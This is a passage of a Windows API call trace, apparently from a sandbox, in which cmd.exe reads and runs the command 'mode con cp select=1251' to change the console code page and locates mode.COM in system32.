lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0228.514] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.514] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.515] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0228.515] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.515] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.515] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0228.515] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.515] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.515] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0228.515] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.515] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.515] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0228.515] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.515] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.515] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0228.515] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.515] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.515] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0228.515] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.515] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.515] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0228.515] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.515] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.515] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0228.515] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.515] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.516] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0228.516] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.516] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.516] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0228.516] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.516] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.516] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0228.516] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.516] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.516] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0228.516] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.516] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.516] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0228.516] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.516] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.516] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0228.516] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.516] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.516] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0228.516] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.516] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.516] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0228.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0228.517] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.517] GetFileType (hFile=0x248) returned 0x3 [0228.517] _get_osfhandle (_FileHandle=0) returned 0x248 [0228.517] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.517] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.517] GetFileType (hFile=0x254) returned 0x3 [0228.517] _get_osfhandle (_FileHandle=1) returned 0x254 [0228.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0228.517] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6a5469970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xf4183cf9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesWritten=0xf4183cf9b8*=0x18, lpOverlapped=0x0) returned 1 [0228.517] GetProcessHeap () returned 0x25290790000 [0228.517] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x4012) returned 0x25290798e90 [0228.517] GetProcessHeap () returned 0x25290790000 [0228.517] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290798e90) returned 1 [0228.517] _wcsicmp (_String1="mode", _String2=")") returned 68 [0228.518] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0228.518] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0228.518] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0228.518] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0228.518] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0228.518] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0228.518] GetProcessHeap () returned 0x25290790000 [0228.518] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xb0) returned 0x25290797340 [0228.518] GetProcessHeap () returned 0x25290790000 [0228.518] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x1a) returned 0x252907975e0 [0228.518] GetProcessHeap () returned 0x25290790000 [0228.518] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x38) returned 0x25290797610 [0228.518] GetConsoleOutputCP () returned 0x1b5 [0229.315] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a546fbb0 | out: lpCPInfo=0x7ff6a546fbb0) returned 1 [0229.315] SetThreadUILanguage (LangId=0x0) returned 0x409 [0229.606] GetConsoleTitleW (in: lpConsoleTitle=0xf4183cf800, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0229.827] malloc (_Size=0xffce) returned 0x252908b0840 [0229.827] ??_V@YAXPEAX@Z () returned 0x252908b0840 [0229.827] malloc (_Size=0xffce) returned 0x252908c0820 [0229.827] ??_V@YAXPEAX@Z () returned 0x252908c0820 [0229.828] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0229.828] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0229.828] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0229.828] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0229.828] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0229.828] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0229.828] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0229.828] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0229.828] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0229.828] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0229.828] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0229.828] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0229.828] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0229.828] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0229.828] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0229.828] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0229.828] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0229.828] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0229.828] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0229.828] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0229.828] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0229.828] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0229.828] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0229.828] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0229.828] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0229.828] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0229.828] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0229.828] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0229.828] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0229.828] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0229.828] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0229.828] _wcsicmp (_String1="mode", _String2="START") returned -6 [0229.828] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0229.828] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0229.828] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0229.828] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0229.828] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0229.828] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0229.828] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0229.828] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0229.828] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0229.828] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0229.828] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0229.828] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0229.828] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0229.829] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0229.829] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0229.829] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0229.829] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0229.829] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0229.829] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0229.829] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0229.829] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0229.829] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0229.829] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0229.829] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0229.829] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0229.829] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0229.829] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0229.829] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0229.829] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0229.829] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0229.829] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0229.829] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0229.829] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0229.829] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0229.829] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0229.829] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0229.829] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0229.829] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0229.829] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0229.829] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0229.829] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0229.829] _wcsicmp (_String1="mode", _String2="START") returned -6 [0229.829] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0229.829] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0229.829] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0229.829] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0229.829] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0229.829] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0229.829] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0229.829] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0229.829] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0229.829] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0229.829] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0229.829] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0229.829] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0229.829] ??_V@YAXPEAX@Z () returned 0x1 [0229.829] GetProcessHeap () returned 0x25290790000 [0229.829] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xffde) returned 0x25290798e90 [0229.830] GetProcessHeap () returned 0x25290790000 [0229.830] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x42) returned 0x25290796490 [0229.830] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0229.830] malloc (_Size=0xffce) returned 0x252908c0820 [0229.830] ??_V@YAXPEAX@Z () returned 0x252908c0820 [0229.830] GetProcessHeap () returned 0x25290790000 [0229.830] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x1ffac) returned 0x252907a8e80 [0229.831] SetErrorMode (uMode=0x0) returned 0x0 [0229.831] SetErrorMode (uMode=0x1) returned 0x0 [0229.831] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x252907a8e90, lpFilePart=0xf4183cf080 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xf4183cf080*="system32") returned 0x13 [0229.831] SetErrorMode (uMode=0x0) returned 0x1 [0229.831] GetProcessHeap () returned 0x25290790000 [0229.831] RtlReAllocateHeap (Heap=0x25290790000, Flags=0x0, Ptr=0x252907a8e80, Size=0x42) returned 0x252907a8e80 [0229.831] GetProcessHeap () returned 0x25290790000 [0229.831] RtlSizeHeap (HeapHandle=0x25290790000, Flags=0x0, MemoryPointer=0x252907a8e80) returned 0x42 [0229.831] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a546bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0229.831] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0229.831] GetProcessHeap () returned 0x25290790000 [0229.831] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x1b6) returned 0x252907977c0 [0229.831] GetProcessHeap () returned 0x25290790000 [0229.831] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x35c) returned 0x252907a8ee0 [0229.837] GetProcessHeap () returned 0x25290790000 [0229.837] RtlReAllocateHeap (Heap=0x25290790000, Flags=0x0, Ptr=0x252907a8ee0, Size=0x1b8) returned 0x252907a8ee0 [0229.837] GetProcessHeap () returned 0x25290790000 [0229.837] RtlSizeHeap (HeapHandle=0x25290790000, Flags=0x0, MemoryPointer=0x252907a8ee0) returned 0x1b8 [0229.837] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a546bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0229.837] GetProcessHeap () returned 0x25290790000 [0229.837] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xe8) returned 0x25290797980 [0229.838] GetProcessHeap () returned 0x25290790000 [0229.838] RtlReAllocateHeap (Heap=0x25290790000, Flags=0x0, Ptr=0x25290797980, Size=0x7e) returned 0x25290797980 [0229.838] GetProcessHeap () returned 0x25290790000 [0229.838] RtlSizeHeap (HeapHandle=0x25290790000, Flags=0x0, MemoryPointer=0x25290797980) returned 0x7e [0229.839] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.839] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xf4183cedf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4183cedf0) returned 0x25290797a10 [0229.839] GetProcessHeap () returned 0x25290790000 [0229.839] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x0, Size=0x28) returned 0x252907964e0 [0229.839] FindClose (in: hFindFile=0x25290797a10 | out: hFindFile=0x25290797a10) returned 1 [0229.839] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xf4183cedf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4183cedf0) returned 0x25290796510 [0229.839] GetProcessHeap () returned 0x25290790000 [0229.839] RtlReAllocateHeap (Heap=0x25290790000, Flags=0x0, Ptr=0x252907964e0, Size=0x8) returned 0x252907964e0 [0229.839] FindClose (in: hFindFile=0x25290796510 | out: hFindFile=0x25290796510) returned 1 [0229.839] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0229.839] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0229.839] ??_V@YAXPEAX@Z () returned 0x1 [0229.839] GetConsoleTitleW (in: lpConsoleTitle=0xf4183cf370, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0229.937] GetProcessHeap () returned 0x25290790000 [0229.937] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x21c) returned 0x252907a90b0 [0229.937] GetConsoleTitleW (in: lpConsoleTitle=0x252907a90c0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0230.072] GetProcessHeap () returned 0x25290790000 [0230.072] RtlReAllocateHeap (Heap=0x25290790000, Flags=0x0, Ptr=0x252907a90b0, Size=0x8c) returned 0x252907a90b0 [0230.072] GetProcessHeap () returned 0x25290790000 [0230.072] RtlSizeHeap (HeapHandle=0x25290790000, Flags=0x0, MemoryPointer=0x252907a90b0) returned 0x8c [0230.072] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0230.260] GetProcessHeap () returned 0x25290790000 [0230.260] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x252907a90b0) returned 1 [0230.260] InitializeProcThreadAttributeList (in: lpAttributeList=0xf4183cf290, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xf4183cf180 | out: lpAttributeList=0xf4183cf290, lpSize=0xf4183cf180) returned 1 [0230.260] UpdateProcThreadAttribute (in: lpAttributeList=0xf4183cf290, dwFlags=0x0, Attribute=0x60001, lpValue=0xf4183cf16c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xf4183cf290, lpPreviousValue=0x0) returned 1 [0230.260] GetStartupInfoW (in: lpStartupInfo=0xf4183cf220 | out: lpStartupInfo=0xf4183cf220*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0230.260] GetProcessHeap () returned 0x25290790000 [0230.260] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x20) returned 0x25290796510 [0230.260] _wcsnicmp (_String1="COPYCMD", 